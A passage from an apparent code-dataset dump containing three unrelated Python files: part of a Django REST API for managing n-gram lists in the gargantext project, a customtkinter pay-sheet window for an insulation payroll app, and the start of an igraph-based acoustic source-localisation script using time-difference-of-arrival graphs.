cache.Node[corpus_id]\n\n if request.user.id != corpus_node.user_id:\n res = HttpResponse(\"Unauthorized\")\n res.status_code = 401\n return res\n\n # request also contains the file\n # csv_file has type django.core.files.uploadedfile.InMemoryUploadedFile\n # ----------------------\n csv_file = request.data['csvfile']\n\n csv_contents = csv_file.read().decode(\"UTF-8\").split(\"\\n\")\n csv_file.close()\n del csv_file\n\n # import the csv\n # try:\n log_msg = \"Async generation\"\n\n corpus_node_id = corpus_node.id\n scheduled(import_and_merge_ngramlists)(csv_contents, corpus_node_id,\n overwrite=bool(params.get('overwrite')))\n\n return JsonHttpResponse({\n 'log': log_msg,\n }, 200)\n\n # except Exception as e:\n # return JsonHttpResponse({\n # 'err': str(e),\n # }, 400)\n\n def patch(self,request):\n \"\"\"\n A copy of POST (merging list) but with the source == just an internal corpus_id\n\n params in request.GET:\n onto_corpus: the corpus whose lists are getting patched\n from: the corpus from which we take the source lists to merge in\n todo: an array of the list types (\"map\", \"main\", \"stop\") to merge in\n\n \"\"\"\n if not request.user.is_authenticated():\n res = HttpResponse(\"Unauthorized\")\n res.status_code = 401\n return res\n\n params = get_parameters(request)\n print(params)\n\n # the corpus with the target lists to be patched\n corpus_id = int(params.pop(\"onto_corpus\"))\n corpus_node = cache.Node[corpus_id]\n\n print(params)\n\n if request.user.id != corpus_node.user_id:\n res = HttpResponse(\"Unauthorized\")\n res.status_code = 401\n return res\n\n list_types = {'map':'MAPLIST', 'main':'MAINLIST', 'stop':'STOPLIST'}\n\n # internal DB retrieve source_lists\n source_corpus_id = int(params.pop(\"from_corpus\"))\n source_node = cache.Node[source_corpus_id]\n\n todo_lists = params.pop(\"todo\").split(',') # ex: ['map', 'stop']\n source_lists = {}\n for key in todo_lists:\n source_lists[key] = UnweightedList(\n source_node.children(list_types[key]).first().id\n )\n\n # add the groupings too\n source_lists['groupings'] = Translations(\n source_node.children(\"GROUPLIST\").first().id\n )\n\n # attempt to merge and send response\n try:\n # merge the source_lists onto those of the target corpus\n delete = todo_lists if bool(params.get('overwrite')) else []\n\n if len(delete) == len(list_types):\n delete.append('groupings')\n\n log_msg = merge_ngramlists(source_lists, onto_corpus=corpus_node, del_originals=delete)\n\n return JsonHttpResponse({\n 'log': log_msg,\n }, 200)\n\n except Exception as e:\n return JsonHttpResponse({\n 'err': str(e),\n }, 400)\n\n\n\nclass GroupChange(APIView):\n \"\"\"\n Modification of some groups\n (typically new subform nodes under a mainform)\n\n USAGE EXEMPLE:\n HOST/api/ngramlists/groups?node=43\n vvvvvv\n group node\n to modify\n\n We use PUT HTTP method to send group data to DB and DELETE to remove them.\n\n They both use same data format in the url (see links_to_couples).\n\n No chained effects : simply adds or deletes rows of couples\n\n NB: request.user is also checked for current authentication status\n \"\"\"\n\n def initial(self, request):\n \"\"\"\n Before dispatching to post() or delete()\n\n Checks current user authentication to prevent remote DB manipulation\n \"\"\"\n if not request.user.is_authenticated():\n raise Http404()\n # can't use return in initial() (although 401 maybe better than 404)\n # can't use @requires_auth because of positional 'self' within class\n\n def links_to_couples(self,params):\n \"\"\"\n IN (dict from url params)\n ---\n params = {\n \"mainform_A\": [\"subform_A1\"]\n \"mainform_B\": [\"subform_B1,subform_B2,subform_B3\"]\n ...\n }\n\n OUT (for DB rows)\n ----\n couples = [\n (mainform_A , subform_A1),\n (mainform_B , subform_B1),\n (mainform_B , subform_B2),\n (mainform_B , subform_B3),\n ...\n ]\n \"\"\"\n couples = []\n for (mainform_id, subforms_ids) in params.items():\n for subform_id in subforms_ids[0].split(','):\n # append the couple\n couples.append((int(mainform_id),int(subform_id)))\n return couples\n\n def put(self, request):\n \"\"\"\n Add some group elements to a group node\n => adds new couples from GroupsBuffer._to_add of terms view\n\n TODO see use of util.lists.Translations\n\n Parameters are all in the url (for symmetry with DELETE method)\n api/ngramlists/groups?node=783&1228[]=891,1639\n => creates 1228 - 891\n and 1228 - 1639\n\n general format is: mainform_id[]=subform_id1,subform_id2 etc\n => creates mainform_id - subform_id1\n and mainform_id - subform_id2\n\n NB: also checks if the couples exist before because the ngram table\n will send the entire group (old existing links + new links)\n \"\"\"\n # from the url\n params = get_parameters(request)\n # the node param is unique\n group_node = params.pop('node')\n # the others params are links to change\n couples = self.links_to_couples(params)\n\n # debug\n # print(\"==couples from url =================================++++=\")\n # print(couples)\n\n # local version of \"insert if not exists\" -------------------->8--------\n # (1) check already existing elements\n check_query = (session.query(NodeNgramNgram)\n .filter(NodeNgramNgram.node_id == group_node)\n .filter(\n tuple_(NodeNgramNgram.ngram1_id, NodeNgramNgram.ngram2_id)\n .in_(couples)\n )\n )\n\n existing = {}\n for synonyms in check_query.all():\n existing[(synonyms.ngram1_id,synonyms.ngram2_id)] = True\n\n # debug\n #print(\"==existing\")\n #print(existing)\n\n # (2) compute difference locally\n couples_to_add = [(mform,sform) for (mform,sform)\n in couples\n if (mform,sform) not in existing]\n\n # debug\n # print(\"== couples_to_add =================================++++=\")\n # print(couples_to_add)\n\n\n # (3) add new groupings\n bulk_insert(\n NodeNgramNgram,\n ('node_id', 'ngram1_id', 'ngram2_id', 'weight'),\n ((group_node, mainform, subform, 1.0) for (mainform,subform)\n in couples_to_add)\n )\n\n # ------------------------------------------------------------>8--------\n\n return JsonHttpResponse({\n 'count_added': len(couples_to_add),\n }, 200)\n\n\n\n def delete(self, request):\n \"\"\"\n Within a groupnode, deletes some group elements from some groups\n\n Data format just like in POST, everything in the url\n \"\"\"\n\n # from the url\n params = get_parameters(request)\n # the node param is unique\n group_node = params.pop('node')\n # the others params are links to change\n couples_to_remove = self.links_to_couples(params)\n\n # debug\n # print(\"==couples_to_remove=================================dd=\")\n # print(couples_to_remove)\n\n # remove selectively group_couples\n # using IN is correct in this case: list of ids is short and external\n # see stackoverflow.com/questions/444475/\n db_rows = (session.query(NodeNgramNgram)\n .filter(NodeNgramNgram.node_id == group_node)\n .filter(\n tuple_(NodeNgramNgram.ngram1_id, NodeNgramNgram.ngram2_id)\n .in_(couples_to_remove)\n )\n )\n\n n_removed = db_rows.delete(synchronize_session=False)\n session.commit()\n\n return JsonHttpResponse({\n 'count_removed': n_removed\n }, 200)\n\n\n\nclass ListChange(APIView):\n \"\"\"\n Any ngram action on standard NodeNgram lists (MAIN, MAP, STOP)\n\n USAGE EXEMPLE:\n HOST/api/ngramlists/change?list=42&ngrams=1,2,3,4,5\n vvvvvv ||||||\n old list vvvvvv\n to modify new list items\n | |\n v v\n 2 x UnweightedLists: self.base_list self.change_list\n\n We use DEL/PUT HTTP methods to differentiate the 2 basic rm/add actions\n They rely only on inline parameters (no need for payload data)\n\n No chained effects: eg removing from MAPLIST will not remove\n automatically from associated MAINLIST\n\n NB: request.user is also checked for current authentication status\n \"\"\"\n\n def initial(self, request):\n \"\"\"\n Before dispatching to put(), delete()...\n\n 1) Checks current user authentication to prevent remote DB manipulation\n 2) Prepares self.list_objects from params\n \"\"\"\n\n if not request.user.is_authenticated():\n raise Http404()\n # can't use return in initial() (although 401 maybe better than 404)\n # can't use @requires_auth because of positional 'self' within class\n\n # get validated params\n self.params = get_parameters(request)\n\n (self.base_list, self.change_list) = ListChange._validate(self.params)\n\n if not len(self.change_list.items):\n payload_ngrams = request.data['ngrams']\n # print(\"no change_list in params but we got:\", payload_ngrams)\n # change_list can be in payload too\n change_ngram_ids = [int(n) for n in payload_ngrams.split(',')]\n if (not len(change_ngram_ids)):\n raise ValidationException('The \"ngrams\" parameter requires one or more ngram_ids separated by comma')\n else:\n self.change_list = UnweightedList(change_ngram_ids)\n\n\n def put(self, request):\n \"\"\"\n Adds one or more ngrams to a list.\n\n NB: we assume ngram_ids don't contain subforms !!\n (this assumption is not checked here because it would be\n slow: if you want to add a subform, send the mainform's id)\n \"\"\"\n # union of items ----------------------------\n new_list = self.base_list + self.change_list\n # -------------------------------------------\n\n # save\n new_list.save(self.base_list.id)\n\n return JsonHttpResponse({\n 'parameters': self.params,\n 'count_added': len(new_list.items) - len(self.base_list.items),\n }, 201)\n\n def delete(self, request):\n \"\"\"\n Removes one or more ngrams from a list.\n \"\"\"\n # removal (set difference) ------------------\n new_list = self.base_list - self.change_list\n # -------------------------------------------\n\n # save\n new_list.save(self.base_list.id)\n\n return JsonHttpResponse({\n 'parameters': self.params,\n 'count_removed': len(self.base_list.items) - len(new_list.items),\n }, 200)\n\n\n @staticmethod\n def _validate(params):\n \"\"\"\n Checks \"list\" and \"ngrams\" parameters for their:\n - presence\n - type\n\n These two parameters are mandatory for any ListChange methods.\n\n ngrams are also converted to an UnweightedList object for easy add/remove\n \"\"\"\n if 'list' not in params:\n raise ValidationException('The route /api/ngramlists/change requires a \"list\" \\\n parameter, for instance /api/ngramlists/change?list_id=42')\n # if 'ngrams' not in params:\n # raise ValidationException('The route /api/ngramlists/change requires an \"ngrams\"\\\n # parameter, for instance /api/ngramlists/change?ngrams=1,2,3,4')\n\n # 2 x retrieval => 2 x UnweightedLists\n # ------------------------------------\n base_list_id = None\n try:\n base_list_id = int(params['list'])\n # UnweightedList retrieved by id\n except:\n raise ValidationException('The \"list\" parameter requires an existing list id.')\n base_list = UnweightedList(base_list_id)\n\n change_ngram_ids = []\n try:\n change_ngram_ids = [int(n) for n in params['ngrams'].split(',')]\n # UnweightedList created from items\n except:\n # ngrams no longer mandatory inline, see payload check afterwards\n pass\n change_list = UnweightedList(change_ngram_ids)\n\n return(base_list, change_list)\n\n\nclass MapListGlance(APIView):\n \"\"\"\n Fast infos about the maplist only\n\n HOST/api/ngramlists/glance?corpus=2\n HOST/api/ngramlists/glance?maplist=92\n\n REST Parameters:\n \"maplist=92\"\n the maplist to retrieve\n \"corpus=ID\"\n alternatively, the corpus to which the maplist belongs\n \"\"\"\n\n def get(self, request):\n parameters = get_parameters(request)\n\n maplist_id = None\n scores_id = None\n\n if \"corpus\" in parameters:\n corpus_id = parameters['corpus']\n corpus = cache.Node[corpus_id]\n maplist_id = corpus.children('MAPLIST').first().id\n # with a corpus_id, the explicit scoring pointer is optional\n if \"scoring\" in parameters:\n scores_id = parameters['scoring']\n else:\n scores_id = corpus.children('OCCURRENCES').first().id\n\n elif \"maplist\" in parameters and \"scoring\" in parameters:\n maplist_id = int(parameters['mainlist'])\n scores_id = int(parameters['scoring'])\n else:\n raise ValidationException(\"A 'corpus' id or 'maplist' id is required, and a 'scoring' for occurences counts\")\n\n ngraminfo = {} # ngram details sorted per ngram id\n listmembers = {'maplist':[]} # ngram ids sorted per list name\n\n # infos for all ngrams from maplist\n map_ngrams = query_list(maplist_id, details=True,\n scoring_metric_id= scores_id).all()\n\n # ex: [(8805, 'mean age', 4.0),\n # (1632, 'activity', 4.0),\n # (8423, 'present', 2.0),\n # (2928, 'objective', 2.0)]\n\n\n # shortcut to useful function during loop\n add_to_members = listmembers['maplist'].append\n\n for ng in map_ngrams:\n ng_id = ng[0]\n ngraminfo[ng_id] = ng[1:]\n\n # maplist ngrams will already be <=> ngraminfos\n # but the client side expects a membership lookup\n # as when there are multiple lists or some groupings\n add_to_members(ng_id)\n\n\n return JsonHttpResponse({\n 'ngraminfos' : ngraminfo,\n 'listmembers' : listmembers,\n 'links' : {}, # no grouping links sent during glance (for speed)\n 'nodeids' : {\n 'mainlist': None,\n 'maplist' : maplist_id,\n 'stoplist': None,\n 'groups': None,\n 'scores': None,\n }\n })\n\n\n\nclass ListFamily(APIView):\n \"\"\"\n Compact combination of *multiple* list info\n custom made for the \"terms\" view\n ---\n Sends all JSON info of a collection of the 4 list types of a corpus\n (or for any combination of lists that go together):\n - a mainlist\n - an optional stoplist\n - an optional maplist\n - an optional grouplist\n\n USAGE EXEMPLES\n HOST/api/ngramlists/family?corpus=2\n HOST/api/ngramlists/family?corpus=2&head=10\n HOST/api/ngramlists/family?mainlist=91&scoring=94\n HOST/api/ngramlists/family?mainlist=91&scoring=94&head=10\n HOST/api/ngramlists/family?mainlist=91&stoplist=90&scoring=94\n etc.\n\n REST Parameters:\n \"head=20\"\n use pagination to only load the k top ngrams of the mainlist\n (useful for fast loading of terms view) [CURRENTLY NOT USED]\n \"corpus=ID\"\n the corpus id to retrieve all 4 lists\n \"scoring=ID\"\n the scoring node (defaults to the OCCURRENCES child of the corpus)\n \"mainlist=ID&scoring=ID[&stoplist=ID&groups=ID&maplist=ID]\"\n alternative call syntax without specifying a corpus\n (uses all explicit IDs of the lists => gives the possibility for custom term views)\n \"\"\"\n def get(self, request):\n\n parameters = get_parameters(request)\n glance_limit = None\n mainlist_id = None\n scores_id = None\n groups_id = None\n other_list_ids = {'maplist':None, 'stoplist':None}\n\n # 1) retrieve a mainlist_id and other lists\n ##########################################\n\n # simple request: just refers to the parent corpus\n # ------------------------------------------------\n if \"corpus\" in parameters:\n corpus_id = parameters['corpus']\n corpus = cache.Node[corpus_id]\n # with a corpus_id, the explicit scoring pointer is optional\n if \"scoring\" in parameters:\n scores_id = parameters['scoring']\n else:\n scores_id = corpus.children('OCCURRENCES').first().id\n # retrieve the family of lists that have corpus as parent\n mainlist_id = corpus.children('MAINLIST').first().id\n groups_id = corpus.children('GROUPLIST').first().id\n other_list_ids['stoplist'] = corpus.children('STOPLIST').first().id\n other_list_ids['maplist'] = corpus.children('MAPLIST').first().id\n\n # custom request: refers to each list individually\n # -------------------------------------------------\n elif \"mainlist\" in parameters and \"scoring\" in parameters:\n mainlist_id = parameters['mainlist']\n scores_id = parameters['scoring']\n groups_id = None\n if 'groups' in parameters:\n groups_id = parameters['scoring']\n for k in ['stoplist', 'maplist']:\n if k in parameters:\n other_list_ids[k] = parameters[k]\n\n # or request has an error\n # -----------------------\n else:\n raise ValidationException(\n \"Either a 'corpus' parameter or 'mainlist' & 'scoring' params are required\"\n )\n\n\n # 2) get the infos for each list\n ################################\n ngraminfo = {} # ngram details sorted per ngram id\n linkinfo = {} # ngram groups sorted per ngram id\n listmembers = {} # ngram ids sorted per list name\n if \"head\" in parameters:\n # head <=> only mainlist AND only k top ngrams\n glance_limit = int(parameters['head'])\n mainlist_query = query_list(mainlist_id, details=True,\n pagination_limit = glance_limit,\n scoring_metric_id= scores_id)\n else:\n # infos for all ngrams from mainlist\n mainlist_query = query_list(mainlist_id, details=True,\n scoring_metric_id= scores_id)\n # infos for grouped ngrams, absent from mainlist\n hidden_ngrams_query = query_grouped_ngrams(groups_id, details=True)\n\n # infos for stoplist terms, absent from mainlist\n stop_ngrams_query = query_list(other_list_ids['stoplist'], details=True,\n scoring_metric_id=scores_id)\n\n # and for the other lists (stop and map)\n # no details needed here, just the member ids\n for li in other_list_ids:\n li_elts = query_list(other_list_ids[li], details=False\n ).all()\n # simple array of ngram_ids\n listmembers[li] = [ng[0] for ng in li_elts]\n\n # and the groupings\n if groups_id:\n links = Translations(groups_id)\n linkinfo = links.groups\n\n # list of\n ngrams_which_need_detailed_info = []\n if \"head\" in parameters:\n # head triggered simplified form: just the top of the mainlist\n # TODO add maplist membership\n ngrams_which_need_detailed_info = mainlist_query.all()\n else:\n ngrams_which_need_detailed_info = mainlist_query.all() + hidden_ngrams_query.all() + stop_ngrams_query.all()\n\n # the output form of details is:\n # ngraminfo[id] => [term, weight]\n for ng in ngrams_which_need_detailed_info:\n ng_id = ng[0]\n ngraminfo[ng_id] = ng[1:]\n\n # NB the client js will sort mainlist ngs from hidden ngs after ajax\n # using linkinfo (otherwise needs redundant listmembers for main)\n\n return JsonHttpResponse({\n 'ngraminfos' : ngraminfo,\n 'listmembers' : listmembers,\n 'links' : linkinfo,\n 'nodeids' : {\n 'mainlist': mainlist_id,\n 'maplist' : other_list_ids['maplist'],\n 'stoplist': other_list_ids['stoplist'],\n 'groups': groups_id,\n 'scores': scores_id,\n }\n })\n","repo_name":"ISCPIF/python-gargantext","sub_path":"gargantext/views/api/ngramlists.py","file_name":"ngramlists.py","file_ext":"py","file_size_in_byte":25508,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"11"} +{"seq_id":"13672570648","text":"import customtkinter as ctk\nfrom scripts.database.tables.employee_table import EmployeeTable\nfrom scripts.database.tables.attic_pay_rate_table import AtticPayRateTable\n\n\nclass AtticPaySheetTopLevel(ctk.CTkToplevel):\n def __init__(self):\n super().__init__()\n self.title(\"Attic Pay Sheet\")\n self.geometry(\"800x600\")\n self.resizable(False, False)\n self.protocol(\"WM_DELETE_WINDOW\", self.on_closing)\n\n # Create the font\n self.font = ctk.CTkFont(\"Roboto\", 15)\n\n # Retrieve employee information\n self.employees = self.create_employee_db_instance()\n\n # Retrieve attic pay rate information\n self.rates = self.create_attic_pay_rate_database_instance()\n\n # Create widgets using database information\n self.create_widgets()\n\n @staticmethod\n def create_employee_db_instance():\n employee_table = EmployeeTable()\n employee_table.connect()\n\n employee_ids_to_retrieve = list(range(1, 11))\n employees = []\n\n for emp_id in employee_ids_to_retrieve:\n employee = employee_table.view_employee_by_id(emp_id)\n employees.append(employee)\n\n if employee:\n print(\"Employee found:\")\n print(\n f\"Employee ID: {employee[0]}, First Name: {employee[1]}, Last Name: {employee[2]}, \"\n f\"Vacation Days: {employee[3]}\")\n else:\n print(\"Employee not found.\")\n\n employee_table.disconnect()\n return employees\n\n @staticmethod\n def create_attic_pay_rate_database_instance():\n attic_pay_rate_table = AtticPayRateTable()\n attic_pay_rate_table.connect()\n\n attic_ids_to_retrieve = list(range(1, 12))\n rates = []\n\n for attic_pay_rate_id in attic_ids_to_retrieve:\n rate = attic_pay_rate_table.view_attic_pay_rate_by_id(attic_pay_rate_id)\n rates.append(rate)\n\n if rate:\n print(\"Attic Pay Rate found:\")\n print(\n f\"Rate ID: {rate[0]}, Rate Name: {rate[1]}, \"\n f\"Rate Amount: {rate[2]}, Attic Pay Rate Description: {rate[3]}\")\n else:\n print(\"Attic Pay Rate not found.\")\n\n attic_pay_rate_table.disconnect()\n return rates\n\n def create_widgets(self):\n # Create checkboxes for each employee\n for i, employee in enumerate(self.employees):\n if employee:\n checkbox = ctk.CTkCheckBox(self, text=f\"{employee[1]} {employee[2]}\", font=self.font)\n checkbox.grid(row=i, column=0, padx=10, pady=10)\n\n # Create the labels and entry boxes for each rate\n for i, rate in enumerate(self.rates):\n if rate:\n label = ctk.CTkLabel(self, text=f\"{rate[1]}\", font=self.font)\n label.grid(row=i, column=1, padx=10, pady=10)\n\n entry = ctk.CTkEntry(self, font=self.font)\n entry.grid(row=i, column=2, padx=10, pady=10)\n\n def on_closing(self):\n self.destroy()\n","repo_name":"kapoleon/InsulPay","sub_path":"scripts/toplevel/attic_pay_sheet.py","file_name":"attic_pay_sheet.py","file_ext":"py","file_size_in_byte":3085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"73012056347","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 16 15:35:54 2022\n\n@author: thejasvi\n\"\"\"\n\nimport igraph as ig\nfrom itertools import product, combinations, chain\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport joblib\nfrom joblib import Parallel, delayed\nimport pandas as pd\nimport build_ccg as bccg\nimport ccg_localiser as ccl\nfrom build_ccg import make_fundamental_loops, make_triple_pairs\nfrom pydatemm.timediffestim import generate_multich_crosscorr, get_multich_tdoas\nimport tqdm\nimport numpy as np\nimport soundfile as sf\nimport time \nns_time = time.perf_counter_ns\n\ndef ig_make_fundamental_loops(nchannels):\n '''\n Parameters\n ----------\n nchannels : int\n Number of channels, and thus number of nodes in the TDE graph.\n Returns\n -------\n fundamental_loops : list\n List with tuples containing integer node numbers.\n '''\n G = ig.Graph.Full(nchannels)\n G.vs['name'] = range(nchannels)\n minspan_G = G.spanning_tree()\n main_node = 0\n co_tree = minspan_G.complementer().simplify()\n fundamental_loops = []\n for edge in co_tree.es:\n fl_nodes = tuple((main_node, edge.source, edge.target))\n fundamental_loops.append(fl_nodes)\n return fundamental_loops\n\ndef ig_make_edges_for_fundamental_loops(nchannels):\n '''\n Parameters\n ----------\n nchannels : int\n Num. of channels.\n \n Returns\n -------\n triple_definition : dict\n Keys are fundamental loops as tuples. Values are lists with\n edges as tuples\n '''\n funda_loops = ig_make_fundamental_loops(nchannels)\n triple_definition = {}\n for fun_loop in funda_loops:\n edges = make_triple_pairs(fun_loop)\n triple_definition[fun_loop] = []\n # if the edge (ab) is present but the 'other' way round (ba) - then \n # reverse polarity. \n for edge in edges:\n triple_definition[fun_loop].append(edge)\n return triple_definition\n\ndef ig_make_consistent_fls(multich_tdes, **kwargs):\n '''\n Parameters\n ----------\n multich_tdes : dict\n Keys are \n '''\n max_loop_residual = kwargs.get('max_loop_residual', 1e-6)\n all_edges_fls = ig_make_edges_for_fundamental_loops(kwargs['nchannels'])\n all_cfls = []\n\n for fundaloop, edges in all_edges_fls.items():\n a,b,c = fundaloop\n ba_tdes = multich_tdes[(b,a)]\n ca_tdes = multich_tdes[(c,a)]\n cb_tdes = multich_tdes[(c,b)]\n abc_combinations = list(product(ba_tdes, ca_tdes, cb_tdes))\n node_to_index = {nodeid: index for index, nodeid in zip(range(3), fundaloop)}\n for i, (tde1, tde2, tde3) in enumerate(abc_combinations):\n if abs(tde1[1]-tde2[1]+tde3[1]) < max_loop_residual:\n this_cfl = ig.Graph(3, directed=True)\n this_cfl.vs['name'] = fundaloop\n for e, tde in zip(edges, [tde1, tde2, tde3]):\n this_cfl.add_edge(node_to_index[e[0]], node_to_index[e[1]],\n tde=tde[1])\n all_cfls.append(this_cfl)\n return all_cfls\n\naudio, fs = sf.read('3-bats_trajectory_simulation_1-order-reflections.wav')\nstart, end = np.int64(fs*np.array([0.01, 0.025]))\nsim_audio = audio[start:end,:]\nnchannels = audio.shape[1]\nkwargs = {'nchannels':nchannels,\n 'fs':fs,\n 'pctile_thresh': 95,\n 'use_gcc':True,\n 'gcc_variant':'phat', \n 'min_peak_diff':0.35e-4, \n 'vsound' : 343.0, \n 'no_neg':False}\nkwargs['max_loop_residual'] = 0.5e-4\nkwargs['K'] = 9\narray_geom = pd.read_csv('multibat_sim_micarray.csv').loc[:,'x':'z'].to_numpy()\nkwargs['array_geom'] = array_geom\nmultich_cc = generate_multich_crosscorr(sim_audio, **kwargs )\ncc_peaks = get_multich_tdoas(multich_cc, **kwargs)\n\nK = kwargs.get('K',3)\ntop_K_tdes = {}\nfor ch_pair, tdes in cc_peaks.items():\n descending_quality = sorted(tdes, key=lambda X: X[-1], reverse=True)\n top_K_tdes[ch_pair] = []\n for i in range(K):\n try:\n top_K_tdes[ch_pair].append(descending_quality[i])\n except:\n pass\nprint('making the cfls...')\n\ndef node_names(ind_tup,X):\n node_names = X.vs['name']\n return tuple(node_names[i] for i in ind_tup)\n \n \ndef ig_check_for_one_common_edge(X,Y):\n '''\n Parameters\n ----------\n X,Y : ig.Graph\n Returns \n -------\n int : (-1,0,1)\n -1 indicates incompatibility, 1 - compatibility and 0 indicates\n NA\n '''\n X_edge_weights = [ (node_names(i.tuple, X), i['tde']) for i in X.es]\n Y_edge_weights = [ (node_names(i.tuple, Y), i['tde']) for i in Y.es]\n common_edge = set(Y_edge_weights).intersection(set(X_edge_weights))\n if len(common_edge)==1:\n return 1\n else:\n return -1\n\ndef ig_ccg_definer(X,Y):\n common_nodes = set(X.vs['name']).intersection(set(Y.vs['name']))\n if len(common_nodes) >= 2:\n if len(common_nodes) < 3:\n relation = ig_check_for_one_common_edge(X, Y)\n else:\n # all nodes the same\n relation = -1\n else:\n relation = -1\n return relation\n\n\ndef ig_make_ccg_matrix(cfls):\n '''\n Sped up version. Previous version had explicit assignment of i,j and j,i\n compatibilities.\n '''\n \n num_cfls = len(cfls)\n ccg = np.zeros((num_cfls, num_cfls), dtype='int32')\n cfl_ij = combinations(range(num_cfls), 2)\n for (i,j) in cfl_ij:\n trip1, trip2 = cfls[i], cfls[j]\n cc_out = ig_ccg_definer(trip1, trip2)\n ccg[i,j] = cc_out\n ccg += ccg.T\n return ccg\n\n\ndef ig_get_compatibility(cfls, ij_combis):\n output = []\n for (i,j) in ij_combis:\n trip1, trip2 = cfls[i], cfls[j]\n cc_out = ig_ccg_definer(trip1, trip2)\n output.append(cc_out)\n return output\n \ndef ig_make_ccg_pll(cfls, **kwargs):\n '''Parallel version of make_ccg_matrix'''\n num_cores = kwargs.get('num_cores', int(joblib.cpu_count()))\n num_cfls = len(cfls)\n\n all_ij = list(combinations(range(num_cfls), 2))\n cfl_ij_parts = [all_ij[i::num_cores] for i in range(num_cores)]\n sta = ns_time()/1e9\n compatibility = Parallel(n_jobs=num_cores)(delayed(ig_get_compatibility)(cfls, ij_parts)for ij_parts in cfl_ij_parts)\n ccg = np.zeros((num_cfls, num_cfls), dtype='int32')\n sta1 = ns_time()/1e9\n for (ij_parts, compat_ijparts) in zip(cfl_ij_parts, compatibility):\n for (i,j), (comp_val) in zip(ij_parts, compat_ijparts):\n ccg[i,j] = comp_val\n sta2 = ns_time()/1e9\n print(f'{sta1-sta} s (pll part), {sta2-sta1} assignment')\n \n # make symmetric\n ccg += ccg.T\n return ccg\n\ndef ig_get_tde(comp_triples):\n nodes = list(set(list(chain(*[each.vs['name'] for each in comp_triples]))))\n global_node_to_ij = {n:i for i, n in enumerate(nodes)}\n tde_mat = np.ones((len(nodes), len(nodes)))*np.nan\n for each in comp_triples:\n ind_to_node = {i:n for i,n in enumerate(each.vs['name'])}\n for edge in each.es:\n b,a = edge.tuple\n node_b, node_a = ind_to_node[b], ind_to_node[a]\n tde_mat[global_node_to_ij[node_b], global_node_to_ij[node_a]] = edge['tde']\n return tde_mat, nodes\n\ndef ig_chunk_create_tde_data(compatible_solutions, all_cfls, **kwargs):\n raw_tde_by_channelnum = {}\n cfl_ids = {} # for troubleshooting and error tracing\n for i, compat_cfl in enumerate(compatible_solutions):\n #source_graph = ig.union([all_cfls[j] for j in compat_cfl], byname=True)\n source_tde, channels = ig_get_tde([all_cfls[j] for j in compat_cfl])\n #source_tde = np.array(source_graph.get_adjacency(attribute='tde', default=np.nan).data)\n d = source_tde[1:,0]*kwargs['vsound']\n #channels = merged.vs['name']\n numchannels = len(channels)\n tde_data = np.concatenate((kwargs['array_geom'][channels,:].flatten(), d))\n if raw_tde_by_channelnum.get(numchannels) is None:\n raw_tde_by_channelnum[numchannels] = []\n raw_tde_by_channelnum[numchannels].append(tde_data)\n cfl_ids[numchannels] = []\n cfl_ids[numchannels].append(compat_cfl)\n else:\n raw_tde_by_channelnum[numchannels].append(tde_data)\n cfl_ids[numchannels].append(compat_cfl)\n tde_by_channelnum = {}\n for nchannels, tde_data in raw_tde_by_channelnum.items():\n tde_by_channelnum[nchannels] = np.row_stack(tde_data)\n return tde_by_channelnum, cfl_ids\n\ndef ig_pll_create_tde_data(compatible_solutions,\n all_cfls, **kwargs):\n parts = kwargs.get('num_cores', joblib.cpu_count())\n #split data into parts\n split_solns = (compatible_solutions[i::parts] for i in range(parts))\n results = Parallel(n_jobs=parts)(delayed(ig_chunk_create_tde_data)(chunk, all_cfls, **kwargs) for chunk in split_solns)\n # join split data into single dictionaries\n all_channel_keys = [list(tdedata_dict.keys()) for (tdedata_dict, _) in results]\n unique_num_channels = set(chain(*all_channel_keys))\n \n channelwise_tdedata = {}\n channelwise_cflid = {}\n for nchannels in unique_num_channels:\n channelwise_tdedata[nchannels] = []\n channelwise_cflid[nchannels] = []\n for (tde_data, cfl_id) in results:\n if tde_data.get(nchannels) is not None:\n channelwise_tdedata[nchannels].append(tde_data[nchannels])\n channelwise_cflid[nchannels].append(cfl_id[nchannels])\n channelwise_tdedata[nchannels] = np.row_stack(channelwise_tdedata[nchannels])\n channelwise_cflid[nchannels] = list(chain(*channelwise_cflid[nchannels]))\n return channelwise_tdedata, channelwise_cflid \n\ndef ig_combine_compatible_triples(triple_list):\n return ig.union(triple_list, byname=True)\n\n\ndef ig_create_tde_data(compatible_solutions, all_cfls, **kwargs):\n '''\n Wrapper to decide if the serial or parallel version is used. \n \n See Also\n --------\n chunk_create_tde_data\n pll_create_tde_data\n '''\n if len(compatible_solutions) > 500:\n return ig_pll_create_tde_data(compatible_solutions, all_cfls, **kwargs)\n else:\n print('ahoy')\n return ig_chunk_create_tde_data(compatible_solutions, all_cfls, **kwargs)\n\n\n\ndef ig_localise_sounds_v2(compatible_solutions, all_cfls, **kwargs):\n '''\n '''\n print('making tde data')\n tde_data, cfl_ids = ig_create_tde_data(compatible_solutions, all_cfls, **kwargs)\n print('done making tde data')\n sources = []\n ncores = joblib.cpu_count()\n all_sources = []\n all_cfls = []\n all_tdedata = []\n for (nchannels, tde_input) in tde_data.items():\n \n if nchannels > 4:\n calc_sources = ccl.pll_cppyy_sw2002(tde_input, kwargs['vsound'])\n all_sources.append(calc_sources)\n all_cfls.append(cfl_ids[nchannels])\n all_tdedata.append(tde_input.tolist())\n elif nchannels == 4:\n fourchannel_cflids= []\n for i in range(tde_input.shape[0]):\n calc_sources = ccl.row_based_mpr2003(tde_input[i,:])\n if calc_sources.size==6:\n all_sources.append(calc_sources[0,:])\n fourchannel_cflids.append(cfl_ids[nchannels][i])\n all_tdedata.append(tde_input.tolist())\n all_sources.append(calc_sources[1,:])\n fourchannel_cflids.append(cfl_ids[nchannels][i])\n all_tdedata.append(tde_input.tolist())\n elif calc_sources.size==3:\n all_sources.append(calc_sources)\n fourchannel_cflids.append(cfl_ids[nchannels][i])\n all_tdedata.append(tde_input.tolist())\n elif len(calc_sources) == 0:\n pass\n all_cfls.append(fourchannel_cflids)\n else:\n pass # if <4 channels encountered\n if len(all_sources)>0:\n return np.row_stack(all_sources), list(chain(*all_cfls)), list(chain(*all_tdedata))\n else:\n return np.array([]), [], []\n\n\ndef ig_generate_candidate_sources_v2(sim_audio, **kwargs):\n multich_cc = generate_multich_crosscorr(sim_audio, **kwargs )\n cc_peaks = 